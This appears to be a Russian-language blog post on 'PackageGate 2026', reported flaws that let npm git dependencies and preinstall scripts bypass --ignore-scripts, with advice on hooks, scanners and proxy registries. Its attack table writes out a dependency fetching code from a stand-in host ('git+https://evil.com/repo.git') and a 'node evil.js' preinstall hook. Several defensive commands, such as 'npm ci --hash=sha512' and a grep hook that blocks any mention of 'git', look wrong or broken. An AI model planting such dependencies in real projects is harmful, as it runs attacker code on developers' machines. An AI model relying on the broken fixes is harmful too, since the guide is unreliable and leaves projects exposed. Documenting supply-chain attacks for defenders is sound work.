PackageGate 2026: защита npm-проекта от обхода --ignore-scripts через git и preinstall
-

PackageGate 2026 - это шесть zero-day уязвимостей в npm, pnpm, vlt и Bun. Они позволяют обходить флаг --ignore-scripts через git-зависимости и поддельные preinstall-скрипты. Разберём, как атакующие это делают и как заблокировать такие трюки в твоём проекте.
npm отказался патчить проблему, заявив, что это ‘ожидаемое поведение’. А значит, разработчикам самим приходится усиливать защиту. Мы пройдём по векторам атак PackageGate, реальным примерам и рабочим фиксам - от CI/CD до прокси-реестров. Это спасёт твой бандл от сюрпризов в продакшене.
Как PackageGate обходит --ignore-scripts
Атакующий публикует пакет с git-зависимостью в package.json. Когда ты ставишь --ignore-scripts, npm всё равно клонирует репозиторий и запускает код с сервера злоумышленника. Стандартные сканеры типа npm audit это не ловят - они смотрят только на опубликованные тарбалы.
В январе 2026 PackageGate показал шесть таких дыр сразу. npm сказал: ‘используйте 2FA и мониторьте сами’. pnpm и Bun запатчили свои CVE, но в npm дыра осталась. Представь: dev ставит зависимость, git-репо тянет майнер или эксфильтратор данных - и стейт проекта уже не твой.
Вот типичные векторы обхода:
- Git-зависимости в .npmrc: npm игнорирует --ignore-scripts для ‘file://’ или ‘git+’ URL, выполняя postinstall из удалённого репо.
- Preinstall через поддельные хуки: Пакет маскируется под легитимный, скрипт проверяет env и шлёт данные на C2.
- SHA-1 коллизии в lock-файлах: npm ci пропускает подмену, если хеш совпадает.
Вектор атаки Пример Риск для проекта Git bypass “my-lib”: “git+https://evil.com/repo.git” Критический - код выполняется всегда Preinstall “preinstall”: “node evil.js” Высокий - игнорирует флаги Lockfile SHA-1 Подмена package-lock.json Средний - ломает npm ci Защита git-зависимостей: блокируй на уровне CI/CD
Git-зависимости - это боль, особенно когда они тянутся из приватных репо или с GitHub. PackageGate эксплуатирует то, что npm не проверяет источник перед клоном. В CI/CD добавь шаг, который парсит package.json на подозрительные ‘git+’ строки и блочит пуш.
Реальный кейс: команда на 50+ dev’ов потеряла неделю на чистку после заражённой git-депы. Теперь они юзают pre-commit хуки с husky + lint-staged, плюс сканер Socket.dev. Это ловит 99% bypass’ов до мержа. Ещё вариант - миграция на pnpm, где патчи уже вышли.
Шаги для железной защиты:
- Husky + lint-rule: В pre-commit проверяй package.json на git-URL. Пример:
npx husky add .husky/pre-commit 'grep -q git package.json && exit 1'. - Socket или ReversingLabs: Интегрируй в GitHub Actions - скан перед merge.
- npm ci с --strict-peer-deps: Блочит невалидные депы.
- Переходи на SHA-512: Генери lock с
npm ci --hash=sha512.
// .github/workflows/security.yml - name: Scan git deps uses: socket-security/github-action@v1 with: path: ./Preinstall-скрипты: аудит и альтернативы
Preinstall - киллер-фича для бутстрапа, но в руках атакующего это бэкдор. PackageGate показал, как скрипты запускаются даже с --ignore-scripts, если депа из git. Изучай package.json зависимостей: если там ‘preinstall’: ‘node check.js’ - это красный флаг.
В 2026 ambar-src использовал preinstall для typosquatting - 50k+ скачиваний до бана. Фикс: отключай lifecycle-скрипты глобально или используй Verdaccio как прокси. Это кэширует пакеты и блочит свежие апдейты первые 2 недели - время на аудит комьюнити.
Проверенные практики против preinstall:
- npm config set ignore-scripts true: Глобально, но с оглядкой на bypass.
- Verdaccio/Nexus proxy: Хости свой реестр, фильтруй по возрасту пакета.
- Аудит скриптов:
npm ls --depth=0 --json | jq '.dependencies[]?.scripts'.
Менеджер Поддержка proxy Патч PackageGate npm Да ( Verdaccio) Нет pnpm Да Да (CVE-2025-69263) Bun Частичная Да Бонус: миграция и мониторинг для параноиков
Полный миграция на pnpm или Bun - не бойлерплейт, а реальный апгрейд скорости. pnpm уже закрыл PackageGate-патчи, плюс он экономит диск в 10x за счёт hardlinks. Мониторинг: настрой alerts на обновы debug/chalk - эти пакеты хайджечили миллионы.
Добавь 2FA на npm-аккаунт, юзай scoped packages и проверяй maintainer’ов. Socket.dev шлёт нотифы на подозрительные git-депы. В продакшене - только lock-файлы с npm ci.
Фиксы, которых хватит на 2026
PackageGate показал: --ignore-scripts не панацея, а git-депы - мина. С husky, Socket и Verdaccio твой npm-проект в броне. Осталось протестировать на монолите - там preinstall летают особенно больно. Подумай о zero-trust для депов: каждый пакет как с улицы.
Здравствуйте! Похоже, вас заинтересовала эта беседа, но у вас ещё нет аккаунта.
Надоело каждый раз пролистывать одни и те же посты? Зарегистрировав аккаунт, вы всегда будете возвращаться на ту же страницу, где были раньше, и сможете выбирать, получать ли уведомления о новых ответах (по электронной почте или в виде push-уведомлений). Вы также сможете сохранять закладки и ставить лайки постам, чтобы выразить свою благодарность другим участникам сообщества.
С вашими комментариями этот пост мог бы стать ещё лучше 💗
Зарегистрироваться Войти© 2024 - 2026 ExLends, Inc. Все права защищены.